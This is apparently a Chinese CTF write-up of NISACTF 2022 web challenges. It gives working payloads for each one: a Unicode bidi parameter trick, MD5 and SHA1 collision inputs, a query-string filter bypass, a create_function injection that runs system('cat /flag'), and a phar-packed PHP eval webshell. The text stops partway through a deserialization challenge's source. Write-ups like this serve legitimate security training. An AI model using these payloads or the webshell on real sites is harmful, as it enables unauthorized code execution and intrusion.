NISACTF 2022 writeup

周末两天的比赛 WEB（11/12）、PWN（5/6）、Reverse（3/6）、Crypto（3/7）、Misc（8/12）
WEB没有AK还是略有遗憾，到后面实在做不动了。
第一次写这么长的WP…

WEB

checkin

 <?php
error_reporting(0);
include "flag.php";
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) {
    //tnnd! weishenme b
    echo $FLAG;
}
show_source(__FILE__);
?> 

存在不可见字符，复制到010editer打开。

复制对应的16进制编码构造payload：

http://120.27.195.236:28990/?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

level-up

扫描发现robots.txt

<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
   
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
   
        die("????");
    }
    if (md5($a1) === md5($a2)){
   
        echo $level3;
    }
    else{
   
        die("level 2 failed ...");
    }

}
else{
   
    show_source(__FILE__);
}
?> 

md5强碰撞，payload：

POST：
array1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8EF%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28%FAU%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9b4%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%9DFH%F1%25%AC%DF%FA%C4G%27uW%CFNB%E7%EF%B0&array2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8E%C6%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28zV%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9%E24%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D%B7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%1DFH%F1%25%AC%DF%FA%C4G%27uW%CF%CEB%E7%EF%B0

 <?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
   
    $a1 = (string)$_POST['array1'];
    $a2 = (string)$_POST['array2'];
    if ($a1 == $a2){
   
        die("????");
    }
    if (sha1($a1) === sha1($a2)){
   
        echo $level4;
    }
    else{
   
        die("level 3 failed ...");
    }

}
else{
   
    show_source(__FILE__);
}
?> 

sha1强碰撞，payload：

POST:
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

<?php
//here is last level
    error_reporting(0);
    include "str.php";
    show_source(__FILE__);

    $str = parse_url($_SERVER['REQUEST_URI']);
    if($str['query'] == ""){
   
        echo "give me a parameter";
    }
    if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
   
        die("blacklist here");
    }
    if($_GET['NI_SA_'] === "txw4ever"){
   
        die($level5);
    }
    else{
   
        die("level 4 failed ...");
    }

payload:

?NI+SA%5b=txw4ever

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
   
    show_source(__FILE__);
}
else{
   
    $a('',$b);
}

55_5_55.php?a=%5ccreate_function&b=}system("cat /flag");//

bingdundun~

存在文件包含，文件名应该是自动补.php

再加上提示可以传压缩包，基本是构造phar文件上传利用没跑了。

<?php
    $phar = new Phar("exp.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar->addFromString("test.php", '<?php eval($_POST[1]);?>'); 
    $phar->stopBuffering();
?>

将生成的phar文件改成.zip后缀上传，进行文件包含。

?bingdundun=phar:///var/www/html/56602cf7e1c9faef25eee090c580f491.zip/test

用蚁剑连

babyserialize

<?php
include "waf.php";
class NISA{
   
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
   
        if($this->fun=="show_me_flag"){
   
            hint();
        }
    }

    function __call($from,$val){
   
        $this->fun=$val[0];
    }

    public function __toString()
    {
   
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
   
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
   
    public $ext;
    public $x;
    public function __wakeup()
    {
   
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
   
    public $huang;
    public $su;

    public function __call($fun1,$arg){
   
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
   
        $bb = $this->su;
        return $bb();
    }
}

class four{
   
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
   
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
   
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
   
    @unserialize($_GET